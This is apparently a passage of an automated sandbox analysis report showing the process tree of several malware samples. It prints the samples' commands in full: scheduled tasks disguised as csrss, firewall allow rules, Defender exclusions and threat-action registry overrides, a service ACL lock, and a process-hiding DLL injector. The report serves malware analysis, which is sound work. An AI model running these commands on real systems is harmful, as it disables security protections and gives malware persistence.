        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:5108
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:3960
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:3340
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2812
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:5948
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:3764
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        Executes dropped EXE
        
        PID:5760
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:5716
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:5048
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        Executes dropped EXE
        
        PID:4548
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2468
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:6112
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:6048
- - C:\Users\Admin\Pictures\LdheNn4aaBVTsGzQyYgbhQup.exe
    "C:\Users\Admin\Pictures\LdheNn4aaBVTsGzQyYgbhQup.exe"
    3⤵
    - Executes dropped EXE
    PID:3804
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2108
  - - C:\Users\Admin\Pictures\LdheNn4aaBVTsGzQyYgbhQup.exe
      "C:\Users\Admin\Pictures\LdheNn4aaBVTsGzQyYgbhQup.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      PID:5940
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5760
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:5336
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2532
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5432
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5644
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:764
- - C:\Users\Admin\Pictures\7gCW8vWWWK29HPkEFtVeb5yp.exe
    "C:\Users\Admin\Pictures\7gCW8vWWWK29HPkEFtVeb5yp.exe"
    3⤵
    - Executes dropped EXE
    PID:1116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5780
  - - C:\Users\Admin\Pictures\7gCW8vWWWK29HPkEFtVeb5yp.exe
      "C:\Users\Admin\Pictures\7gCW8vWWWK29HPkEFtVeb5yp.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      PID:4416
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5524
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1900
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5204
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2612
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2108
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:6096
- - C:\Users\Admin\Pictures\wZ9lwyypc2SisHH2cHQG9QdI.exe
    "C:\Users\Admin\Pictures\wZ9lwyypc2SisHH2cHQG9QdI.exe"
    3⤵
    - Executes dropped EXE
    PID:1304
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6008
  - - C:\Users\Admin\Pictures\wZ9lwyypc2SisHH2cHQG9QdI.exe
      "C:\Users\Admin\Pictures\wZ9lwyypc2SisHH2cHQG9QdI.exe"
      4⤵
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      PID:6020
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5232
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:6124
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:508
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:3596
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5700
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:3580
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5044
- - C:\Users\Admin\Pictures\2XhPC2FEFdRtYTskabEhLruQ.exe
    "C:\Users\Admin\Pictures\2XhPC2FEFdRtYTskabEhLruQ.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Users\Admin\AppData\Local\Temp\7zSA95F.tmp\Install.exe
      .\Install.exe /WkfdidVYT "385118" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Enumerates system info in registry
      Suspicious use of WriteProcessMemory
      PID:3644
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4416
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3488
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:5068
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:4524
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4608
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:192
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:2820
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1552
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:5084
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:2468
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:436
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:2580
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:3320
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:3024
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:3936
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2864
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:4344
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:3900
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:3480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5004
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3484
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 22:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSA95F.tmp\Install.exe\" Wt /VzHdidjyMq 385118 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:4156
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
        5⤵
        
        PID:2960
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
        6⤵
        
        PID:2280
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn biPxHmULFllsbMgnpt
        7⤵
        
        PID:1836
- - C:\Users\Admin\Pictures\8CvVQFPQfvUMVSEZ75XoxELg.exe
    "C:\Users\Admin\Pictures\8CvVQFPQfvUMVSEZ75XoxELg.exe"
    3⤵
    - Modifies firewall policy service
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in System32 directory
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:3972
- - C:\Users\Admin\Pictures\C0mcMFmIsEt8ivZRA1J6Xgon.exe
    "C:\Users\Admin\Pictures\C0mcMFmIsEt8ivZRA1J6Xgon.exe"
    3⤵
    - Executes dropped EXE
    PID:3660
  - - C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\Install.exe
      .\Install.exe /WkfdidVYT "385118" /S
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Enumerates system info in registry
      PID:3364
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:2256
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:3244
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:1268
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:4928
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:4948
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:4256
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:2268
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:1308
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:1084
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:4252
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:3596
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:912
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:1836
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:3588
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:1156
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4636
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:4072
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:2248
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:5020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5040
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:3096
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 22:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSDC56.tmp\Install.exe\" Wt /hikdidsbSh 385118 /S" /V1 /F
        5⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:3496
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
        5⤵
        
        PID:3904
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
        6⤵
        
        PID:2824
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn biPxHmULFllsbMgnpt
        7⤵
        
        PID:5068
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
  2⤵
  PID:3576

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1556

C:\Users\Admin\AppData\Local\Temp\7zSA95F.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSA95F.tmp\Install.exe Wt /VzHdidjyMq 385118 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1000
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4836
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4692
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:5100
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:4352
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4464
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:196
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:500
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:3960
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4908
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:1420
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4892
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3496
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1296
  - - C:\Windows\SysWOW64\cmd.exe
